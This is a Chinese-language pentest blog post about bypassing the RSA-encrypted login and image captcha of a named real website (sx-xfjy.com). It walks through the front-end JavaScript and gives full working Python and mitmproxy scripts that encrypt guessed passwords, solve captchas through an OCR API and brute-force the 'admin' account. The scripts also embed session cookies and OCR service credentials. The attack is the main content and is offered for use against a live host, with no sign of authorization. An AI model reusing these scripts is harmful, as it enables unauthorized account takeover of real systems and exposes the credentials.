0x01 登录页面
访问主页自动跳转登录页面,登录失败。提示用户名或密码错误。

抓包重放有验证码错误,密码被加密。

发现有imgStr参数进行校验,类似于token防重放攻击,重新请求获取验证码。


验证码认证成功

0x02 查看JS
其实这里的验证码虽然有token验证,但由于token是可以获取的,所以理论上是可以通过ocr接口获取然后进行登录爆破,那最重要的问题就是密码password参数的构造,直接写明文密码肯定是不行的,这里尝试过发现返回的不是密码错误,而是这样的报错。
1javax.crypto.BadPaddingException: Decryption error能看到有crypto字眼,这表示后台解密过程中发生了填充错误。当然我也尝试过正确格式也不成功,后面能够看到。

首先登录一次,查看网络信息,能够看到这里的加密提交参数。


1imgStr: "jve7ebhm7h" # 验证码token2loginposition: 1 # 测试删除后导致语法错误3password: "QjvTDzgUlBFgL+E3IrHJrAw3ZWJO5tThhb8NR99nv24CjldhAZn3YFh85bXDnLL+IL0OPEhoMeuuIHo5ALjemYTE7fk9gG4V1y52mQYJ8diZXhFSLs7X6QP9d3z0cZZf7b3IzhcGqD5IJGMMRcsyVD1Z9EReLAR3xa4EM/8t+A4=" # 加密密码参数4username: "admin" # 明文账号5veryCode: "9386" # 验证码
查看调用栈,有login字段,既然要进行登录,那就会像后端发送请求,则前端加密工作就已经结束了。

跟进查看,运行到提交表单这一步
1s.i(n.a)(this, "/omp/system/system_spring_security", i).then(function(e) {
向上看一下对应的参数,发现有类似加密的字眼,打上断点再进行登录查看。
1var e = new JSEncrypt;2e.setPublicKey(this.PublicKey);
向下运行到这一行之后发现定义的o的值,这是能够看到this.password的值为123456,是测试的明文密码,而o则是通过e.encrypt()函数进行加密后的密文密码。

测试这个密文进行登录,验证成功。

0x03 加密密文
既然已经知道了加密函数的位置和加密方法,这里在控制台测试输出,正常来说这里应该还要设置公钥或者私钥,由于这里的公钥是硬编码,且已经完整执行js,所以直接调用函数便得到了密文。

这里其实可以使用常见的js加密插件和burp联合使用即可进行绕过加密算法,但是那样是封装起来的,在渗透测试中,我们应该有一个确定的思路就是,能不使用框架则不使用框架,因为那是不透明的,这点我们的思路要明确。
这里继续跟进加密函数。
1var e = new JSEncrypt;
这段代码是在设置RSA密钥生成参数时执行的操作,简单来说,它设置了RSA密钥生成中的公钥指数(public exponent)的默认值。有过RSA加密了解的话应该对十六进制010001这个数值不陌生,十进制下,这个值就是65537,作为常见的RSA公钥指数而存在。
再对e.setPublicKey(this.PublicKey);函数跟进,发现下面的参数,这里的默认指数给定的指是65537,下面的e并不是RSA加密中的指数,在这里其实是RSA加密的公钥,是通过硬编码的方式存储在js中。
1default_key_size: 10242default_public_exponent: "010001"3key: null4log: false5[[Prototype]]: Object6e: "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEYtvVnsDwdVPutk7t7BVARBbk00h0l+tSjtKswncCpM9CcebzIsWXvLtdnQdDu1ABuW1GziaU1XSQixKcFH9HiIfjcM0+DoqNEXXH8sLIkIbz1g1ajA/6N6oL6Guq+w/u9lV5TChRVnE7Lo5Z2aFxTNv+Z5psTON8v+akXpUIHwIDAQAB"
这里能看到一个base64解码操作,这里应该是对公钥的解密从而得到e和n。

再向下走,跟进 var o = e.encrypt(this.password),这才真正进入加密函数中,能够看到encrypt(e)加密函数。

虽然前面已经确认了是RSA加密,不过到这一步就能够明显地看到了是RSA加密。

到了这里,这个加密算法就已经很明显了。
1通过RSA进行加密:21、公钥是硬编码32、得到公钥43、分解得到e、n54、对明文进行加密65、输出结果这里使用python3.9.2进行编写。
1pub.key:2-----BEGIN PUBLIC KEY-----3MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEYtvVnsDwdVPutk7t7BVARBbk400h0l+tSjtKswncCpM9CcebzIsWXvLtdnQdDu1ABuW1GziaU1XSQixKcFH9HiIfj5cM0+DoqNEXXH8sLIkIbz1g1ajA/6N6oL6Guq+w/u9lV5TChRVnE7Lo5Z2aFxTNv+6Z5psTON8v+akXpUIHwIDAQAB7-----END PUBLIC KEY-----1# !/usr/bin/python32# -*- coding:utf-8 -*-3# @Time : 2024/3/1 17:134# @Author : 大C菌5# @File : rsa加密.py6# @Software: PyCharm7from Crypto.PublicKey import RSA8import gmpy29from Crypto.Cipher import PKCS1_OAEP10import libnum11from urllib import parse12from pwn import *13
14with open('pub.key', 'r', encoding='utf-8') as info:15 pub_key = info.read()16
17print(pub_key)18pub_key = RSA.import_key(pub_key)19n, e = pub_key.n, pub_key.e20print(n)21# 13790705626235925253885399980827038058399989987712940232643429513335146902661438754593879369746432473907593469263908513694285654657290950271980677499669344950855445581393216411006343732008994186261853859055499461941637967692149324784575270553770955870146097178575743716095684142761838477716310214011094650268722print(e) # 6553723a = gmpy2.is_prime(n)24print(a) # False25
26
27# 使用公钥创建一个加密器28cipher_rsa = PKCS1_OAEP.new(pub_key)29
30m = b'123456'31e_data = cipher_rsa.encrypt(m)32print(e_data) # b'v\xac\xbc\x84\xf3\x08\xcf\xbc\xc0\x8d\xd5C\xf3\xd0i:p\xd9pE\xda\x94\xc9i\x87%\xb4n\x03\xc9\x8ffi\xbf}\x11\xec\xeb3Ud\x08\xcb%N\xab8y\x1c\xe4_XY\xa2\xc9\xbc\x9a\x8b\x83\xedf\x17\xac\xc3\x01T\x85F\x93N\xd3\x11\x89\x02\x96\xe1\xd7e\x84\xc2\x97z\xb4\x91\xf5\xdaqF\xbe\x87\x05\r\xfc1\xaa\xfc\xe5\xe6\xe7\x0bt\x97\xd1C\xf2\x93\x80\xd2K\x12\xe9\xe8\xf1\xa7\xbcE\x9e\xd5\x1d\x0f\xf0;t`\xe4N\xfd\xe2'33e_data_base64 = base64.b64encode(e_data)34print(e_data_base64) # b'dqy8hPMIz7zAjdVD89BpOnDZcEXalMlphyW0bgPJj2Zpv30R7OszVWQIyyVOqzh5HORfWFmiybyai4PtZheswwFUhUaTTtMRiQKW4ddlhMKXerSR9dpxRr6HBQ38Mar85ebnC3SX0UPyk4DSSxLp6PGnvEWe1R0P8Dt0YORO/eI='用加密后的值去尝试登录,登录失败,出现了报错。
1javax.crypto.BadPaddingException: Decryption error
这里解释一下,javax.crypto.BadPaddingException 表示解密过程中发生了填充错误。在使用对称加密算法时,通常会在密文的末尾添加填充以保证其长度是块大小的整数倍,常见的填充方案包括PKCS#1 v1.5填充和OAEP填充(Optimal Asymmetric Encryption Padding)。其中OAEP填充是更为安全和推荐的填充方案,它提供了更好的安全性和更好的随机性,能够更好地抵抗一些加密攻击,如选择明文攻击。
在解密时,解密算法会尝试删除填充,如果填充不正确,则会抛出 BadPaddingException 异常。很明显这里通过公钥加密的密文传输给后端,后端使用私钥进行解密却失败,所以抛出了异常。
更换填充方式为PKCS1_v1_5再次尝试。
1# !/usr/bin/python32# -*- coding:utf-8 -*-3# @Time : 2024/3/1 17:134# @Author : 大C菌5# @File : rsa加密.py6# @Software: PyCharm7from Crypto.PublicKey import RSA8import gmpy29from Crypto.Cipher import PKCS1_v1_510import libnum11from urllib import parse12from pwn import *13
14with open('pub.key', 'r', encoding='utf-8') as info:15 pub_key = info.read()16
17pub_key = RSA.import_key(pub_key)18n, e = pub_key.n, pub_key.e19
20# 使用公钥创建一个加密器21cipher_rsa = PKCS1_v1_5.new(pub_key)22
23m = b'123456'24e_data = cipher_rsa.encrypt(m)25e_data_base64 = base64.b64encode(e_data)26print(e_data_base64)
验证成功
0x04 加密传输
接下来就可以构造请求包尝试进行爆破,首先整理思路:
11、请求验证码接口,获取验证码的token值和验证码图片的base64编码,并进行解码得到验证码图片;22、通过第三方插件或接口对验证码图片进行识别;33、使用加密函数对请求的password值进行加密,并与验证码等其他参数组合为一个完整的请求体;44、第四步可以通过burp与mitmproxy进行联动,以便手动修改参数,在爆破验证码上也是有效的方式,所以这里我只进行验证方法可行,后面只做到登录爆破的程度。1、Burp与联动mitmproxy
个中原理这里不再赘述,首先是获取验证码与ocr识别:
1class GetCode:2
3 def __init__(self):4 pass5
6 def getCode(self):7 headers = {8 "Host": "www.sx-xfjy.com",9 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",10 "Accept": "application/json, text/plain, */*",11 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",12 "Accept-Encoding": "gzip, deflate",13 "Referer": "http://www.sx-xfjy.com/",14 }15
16 url = 'http://www.sx-xfjy.com/vue_admin/omp/forgetPassword/identifyImageBase64'17 req = requests.get(url=url, headers=headers)18 req_json = req.json()19 imgStr = req_json['data']['imgStr']20 _, imageBase64Data = str(req_json['data']['imageBase64Data']).split(',')21 image_data = base64.b64decode(imageBase64Data)22 image = Image.open(io.BytesIO(image_data))23 image.save('img/decode_images.png')24 print(imgStr)25 return str(imgStr)26
27 def base64_api(self, uname, pwd, img, typeid):28 with open(img, 'rb') as f:29 base64_data = base64.b64encode(f.read())30 b64 = base64_data.decode()31 data = {"username": uname, "password": pwd, "typeid": typeid, "image": b64}32 result = json.loads(requests.post("http://api.ttshitu.com/predict", json=data).text)33 if result['success']:34 return result["data"]["result"]35 else:36 # !!!!!!!注意:返回 人工不足等 错误情况 请加逻辑处理防止脚本卡死 继续重新 识别37 return result["message"]38
39 def identify(self):40 img_path = '/images/posts/js-reverse-rsa/decode_images.png'41 result = self.base64_api(uname='dcj', pwd='135728Qq', img=img_path, typeid=1)42 print(result)43 return str(result)加密函数:
1def encrypt(password):2 with open('pub.key', 'r', encoding='utf-8') as info:3 pub_key = info.read()4
5 pub_key = RSA.import_key(pub_key)6
7 # 使用公钥创建一个加密器8 cipher_rsa = PKCS1_v1_5.new(pub_key)9
10 m = password.encode()11 e_data = cipher_rsa.encrypt(m)12 e_data_base64 = base64.b64encode(e_data)13 return e_data_base64Mitmproxy联动:
1class AutoDecoderClass(object):2
3 def request(self, flow: http.HTTPFlow):4 getcode = GetCode()5 if flow.request.method == 'POST' and flow.request.headers['Content-Type'] == 'application/json;charset=utf-8':6 # print(flow.request.content)7 data = json.loads(flow.request.content.decode('utf-8'))8 # print(data['password'])9 # print(encrypt(data['password']).decode())10 e_password = encrypt(data['password']).decode()11 imgStr = getcode.getCode()12 veryCode = getcode.identify()13
14 flow.request.content = json.dumps(15 {"username": "admin", "password": str(e_password), "veryCode": veryCode, "loginposition": 1, "imgStr": imgStr}).encode()16 # {"username": "admin", "password": str(e_password), "veryCode": "6245", "loginposition": 1, "imgStr": "z8cs8oxbmz"}).encode()17 print(flow.request.content)18
19 def response(self, flow: http.HTTPFlow):20 pass21
22
23addons = [24 AutoDecoderClass()25]这个脚本最终呈现的效果是在burp上。
1运行:2mitmdump -s demo.py --ssl-insecure --listen-port 55555 --mode socks53[16:30:44.612] Loading script demo.py4[16:30:44.946] SOCKS v5 proxy listening at *:55555.不要忘记添加代理。

可以看到,我即使不用输入验证码和验证码token参数,只输入账号和明文密码,也可以通过验证,这里可以测试类似注入攻击与暴力破解。

完整代码:
1# !/usr/bin/python32# -*- coding:utf-8 -*-3# @Time : 2024/3/2 15:014# @Author : 大C菌5# @File : demo.py6# @Software: PyCharm7from mitmproxy import http8from Crypto.PublicKey import RSA9from Crypto.Cipher import PKCS1_v1_510import io, json, requests, base6411from PIL import Image12
13
14class GetCode:15
16 def __init__(self):17 pass18
19 def getCode(self):20 headers = {21 "Host": "www.sx-xfjy.com",22 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",23 "Accept": "application/json, text/plain, */*",24 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",25 "Accept-Encoding": "gzip, deflate",26 "Referer": "http://www.sx-xfjy.com/",27 }28
29 url = 'http://www.sx-xfjy.com/vue_admin/omp/forgetPassword/identifyImageBase64'30 req = requests.get(url=url, headers=headers)31 req_json = req.json()32 imgStr = req_json['data']['imgStr']33 _, imageBase64Data = str(req_json['data']['imageBase64Data']).split(',')34 image_data = base64.b64decode(imageBase64Data)35 image = Image.open(io.BytesIO(image_data))36 image.save('img/decode_images.png')37 print(imgStr)38 return str(imgStr)39
40 def base64_api(self, uname, pwd, img, typeid):41 with open(img, 'rb') as f:42 base64_data = base64.b64encode(f.read())43 b64 = base64_data.decode()44 data = {"username": uname, "password": pwd, "typeid": typeid, "image": b64}45 result = json.loads(requests.post("http://api.ttshitu.com/predict", json=data).text)46 if result['success']:47 return result["data"]["result"]48 else:49 # !!!!!!!注意:返回 人工不足等 错误情况 请加逻辑处理防止脚本卡死 继续重新 识别50 return result["message"]51
52 def identify(self):53 img_path = '/images/posts/js-reverse-rsa/decode_images.png'54 result = self.base64_api(uname='dcj', pwd='135728Qq', img=img_path, typeid=1)55 print(result)56 return str(result)57
58
59# 加密函数60def encrypt(password):61 with open('pub.key', 'r', encoding='utf-8') as info:62 pub_key = info.read()63
64 pub_key = RSA.import_key(pub_key)65
66 # 使用公钥创建一个加密器67 cipher_rsa = PKCS1_v1_5.new(pub_key)68
69 m = password.encode()70 e_data = cipher_rsa.encrypt(m)71 e_data_base64 = base64.b64encode(e_data)72 return e_data_base6473
74
75class AutoDecoderClass(object):76
77 def request(self, flow: http.HTTPFlow):78 getcode = GetCode()79 if flow.request.method == 'POST' and flow.request.headers['Content-Type'] == 'application/json;charset=utf-8':80 # print(flow.request.content)81 data = json.loads(flow.request.content.decode('utf-8'))82 # print(data['password'])83 # print(encrypt(data['password']).decode())84 e_password = encrypt(data['password']).decode()85 imgStr = getcode.getCode() # 这里要先进行获取token,在进行识别,不然在获取tokne的时候就会多访问一次接口86 veryCode = getcode.identify()87
88 flow.request.content = json.dumps(89 {"username": "admin", "password": str(e_password), "veryCode": veryCode, "loginposition": 1, "imgStr": imgStr}).encode()90 # {"username": "admin", "password": str(e_password), "veryCode": "6245", "loginposition": 1, "imgStr": "z8cs8oxbmz"}).encode()91 print(flow.request.content)92
93 def response(self, flow: http.HTTPFlow):94 pass95
96
97addons = [98 AutoDecoderClass()99]2、登录框爆破
这里和第一种方式大差不大,主要就是完全通过脚本去提交数据,其中加密与验证码识别是一样的。

1# !/usr/bin/python32# -*- coding:utf-8 -*-3# @Time : 2024/3/2 16:364# @Author : 大C菌5# @File : demo2.py6# @Software: PyCharm7from Crypto.PublicKey import RSA8from Crypto.Cipher import PKCS1_v1_59import io, json, requests, base6410from PIL import Image11
12
13class GetCode:14
15 def __init__(self):16 pass17
18 def getCode(self):19 headers = {20 "Host": "www.sx-xfjy.com",21 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",22 "Accept": "application/json, text/plain, */*",23 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",24 "Accept-Encoding": "gzip, deflate",25 "Referer": "http://www.sx-xfjy.com/",26 }27
28 url = 'http://www.sx-xfjy.com/vue_admin/omp/forgetPassword/identifyImageBase64'29 req = requests.get(url=url, headers=headers)30 req_json = req.json()31 imgStr = req_json['data']['imgStr']32 _, imageBase64Data = str(req_json['data']['imageBase64Data']).split(',')33 image_data = base64.b64decode(imageBase64Data)34 image = Image.open(io.BytesIO(image_data))35 image.save('img/decode_images.png')36 print(imgStr)37 return str(imgStr)38
39 def base64_api(self, uname, pwd, img, typeid):40 with open(img, 'rb') as f:41 base64_data = base64.b64encode(f.read())42 b64 = base64_data.decode()43 data = {"username": uname, "password": pwd, "typeid": typeid, "image": b64}44 result = json.loads(requests.post("http://api.ttshitu.com/predict", json=data).text)45 if result['success']:46 return result["data"]["result"]47 else:48 # !!!!!!!注意:返回 人工不足等 错误情况 请加逻辑处理防止脚本卡死 继续重新 识别49 return result["message"]50
51 def identify(self):52 img_path = '/images/posts/js-reverse-rsa/decode_images.png'53 result = self.base64_api(uname='dcj', pwd='135728Qq', img=img_path, typeid=1)54 print(result)55 return str(result)56
57
58# 加密函数59def encrypt(password):60 with open('pub.key', 'r', encoding='utf-8') as info:61 pub_key = info.read()62
63 pub_key = RSA.import_key(pub_key)64
65 # 使用公钥创建一个加密器66 cipher_rsa = PKCS1_v1_5.new(pub_key)67
68 m = password.encode()69 e_data = cipher_rsa.encrypt(m)70 e_data_base64 = base64.b64encode(e_data)71 return e_data_base6472
73
74if __name__ == '__main__':75 getcode = GetCode()76 headers = {77 "Host": "www.sx-xfjy.com",78 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",79 "Accept": "application/json, text/plain, */*",80 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",81 "Accept-Encoding": "gzip, deflate",82 "Referer": "http://www.sx-xfjy.com/",83 "Content-Type": "application/json;charset=utf-8",84 "Origin": "http://www.sx-xfjy.com",85 "Cookie": "SECKEY_ABVK=qOUnHiYLA0QvxOh8qtI8CSsUkzNCv/5ucN/hU6zcXY0%3D; BMAP_SECKEY=iGmRyj6_NdjcORnEGQxsoDU9ZrGuL9y7_4zjlCUiQZfVi_w-iN2SWlB-qwG64p4QDoGioaYCMq_Di0SL2lL1zhGtkc6kiuHi3ypdxIgoiVx_mXeoIrU4JI4_yT6MslzpO0ywiLA0zrtHiQGB7OD9V_Yj-M6IHc3CBUdtX_gzmTuSP8GHzojDRLrUZEXlI68t"86 }87
88 url = 'http://www.sx-xfjy.com/vue_admin/omp/system/system_spring_security'89
90 username = 'admin'91 password = '123456'92 e_password = encrypt(password).decode()93
94 data = {95 "username": username,96 "password": e_password,97 "loginposition": 1,98 "imgStr": getcode.getCode(),99 "veryCode": getcode.identify()100 }101 json_data = json.dumps(data) # 坑点!!!必须要进行json转换,在这里失败了好多次102 req = requests.post(url=url, headers=headers, data=json_data)103 print(json_data)104 print(req.text)105 print(req.status_code)可以修改username和password两个参数值来进行登录框爆破,下列是使用第一种方法进行爆破,更容易实现。

完结撒花~~~
PS:
1后期发现了两个工具可以不需要第三方ocr来进行识别,财力有限的大家可以使用开源工具进行识别(^.^)tesseract-ocr
1https://digi.bib.uni-mannheim.de/tesseract/1https://blog.csdn.net/username666/article/details/126310781ddddocr
1https://pypi.org/project/ddddocr/1.1.0/1def identify2(self):2 with open('img/decode_images.png', 'rb') as info:3 img_bytes = info.read()4
5 text = DdddOcr(show_ad=False).classification(img_bytes)6 print(text)部分信息可能已经过时